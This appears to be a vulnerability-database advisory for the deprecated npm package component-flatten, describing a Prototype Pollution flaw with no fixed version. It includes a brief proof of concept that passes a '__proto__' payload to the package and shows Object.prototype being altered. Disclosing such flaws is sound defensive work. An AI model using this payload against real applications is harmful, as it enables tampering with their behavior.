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component-flatten@1.0.0 vulnerabilities

flatten a resolved component tree

  • latest version

    1.0.1

  • first published

    11 years ago

  • latest version published

    10 years ago

  • deprecated

    Package is deprecated

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the component-flatten package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    component-flatten is a module that flattens a resolved component tree.

    Note: This package is deprecated.

    Affected versions of this package are vulnerable to Prototype Pollution. The a function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

    PoC by JHU System Security Lab

    var a = require("component-flatten");
var tree = {ref:"toString",name:"__proto__"};
a(tree);
console.log({}.toString);

    How to fix Prototype Pollution?

    There is no fixed version for component-flatten.

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